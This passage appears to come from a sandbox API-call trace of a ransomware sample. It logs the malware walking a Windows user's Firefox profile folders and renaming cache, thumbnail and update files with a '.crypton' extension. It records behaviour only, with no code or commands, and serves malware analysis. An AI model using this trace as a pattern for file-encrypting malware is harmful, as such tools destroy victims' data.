ftLastWriteTime.dwLowDateTime=0xf7584220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0204.731] GetFileType (hFile=0x210) returned 0x1 [0204.743] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7642900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7642900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0204.744] GetFileType (hFile=0x218) returned 0x1 [0204.748] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7668a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7668a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.750] GetFileType (hFile=0x218) returned 0x1 [0204.754] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7668a60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7668a60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.756] GetFileType (hFile=0x210) returned 0x1 [0204.763] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf768ebc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf768ebc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0204.764] GetFileType (hFile=0x218) returned 0x1 [0204.770] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf768ebc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf768ebc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.772] GetFileType (hFile=0x218) returned 0x1 [0204.781] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf76b4d20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf76b4d20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.782] GetFileType (hFile=0x218) returned 0x1 [0204.786] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf76b4d20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf76b4d20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.787] GetFileType (hFile=0x218) returned 0x1 [0204.799] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf76dae80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf76dae80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.800] GetFileType (hFile=0x218) returned 0x1 [0204.804] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf76dae80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf76dae80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.806] GetFileType (hFile=0x218) returned 0x1 [0204.844] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf774d2a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf774d2a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.845] GetFileType (hFile=0x210) returned 0x1 [0204.852] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf774d2a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf774d2a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0204.853] GetFileType (hFile=0x210) returned 0x1 [0204.887] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf77bf6c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf77bf6c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0204.888] GetFileType (hFile=0x210) returned 0x1 [0204.899] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf77bf6c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf77bf6c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0204.906] GetFileType (hFile=0x210) returned 0x1 [0204.912] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf77e5820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf77e5820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0204.913] GetFileType (hFile=0x218) returned 0x1 [0204.920] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf780b980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf780b980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.922] GetFileType (hFile=0x218) returned 0x1 [0205.015] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7831ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7831ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0205.017] GetFileType (hFile=0x218) returned 0x1 [0205.022] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf78f01c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf78f01c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0205.022] GetFileType (hFile=0x210) returned 0x1 [0205.030] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7916320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7916320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0205.032] GetFileType (hFile=0x218) returned 0x1 [0205.076] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf793c480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf793c480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0205.078] GetFileType (hFile=0x210) returned 0x1 [0205.095] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf79ae8a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf79ae8a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0205.096] GetFileType (hFile=0x218) returned 0x1 [0205.100] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf79ae8a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf79ae8a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0205.101] GetFileType (hFile=0x210) returned 0x1 [0205.105] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf79d4a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf79d4a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0205.106] GetFileType (hFile=0x218) returned 0x1 [0205.118] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf79d4a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf79d4a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0205.119] GetFileType (hFile=0x210) returned 0x1 [0205.124] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf79fab60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf79fab60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0205.125] GetFileType (hFile=0x210) returned 0x1 [0205.129] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf79fab60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf79fab60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0205.130] GetFileType (hFile=0x214) returned 0x1 [0205.135] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf79fab60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf79fab60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0205.301] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite.crypton"), dwFlags=0x2) returned 1 [0205.309] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf7bc3be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7bc3be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0205.310] GetFileType (hFile=0x214) returned 0x1 [0205.315] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf7bc3be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7bc3be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0205.320] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7bc3be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7bc3be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0205.331] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.crypton"), dwFlags=0x2) returned 1 [0205.343] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.crypton"), dwFlags=0x2) returned 1 [0205.408] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.crypton"), dwFlags=0x2) returned 1 [0205.410] GetFileType (hFile=0x190) returned 0x1 [0205.415] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7ca8420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7ca8420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0205.421] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7cce580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7cce580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0205.424] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml.crypton"), dwFlags=0x2) returned 1 [0205.426] GetFileType (hFile=0x20c) returned 0x1 [0205.431] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS 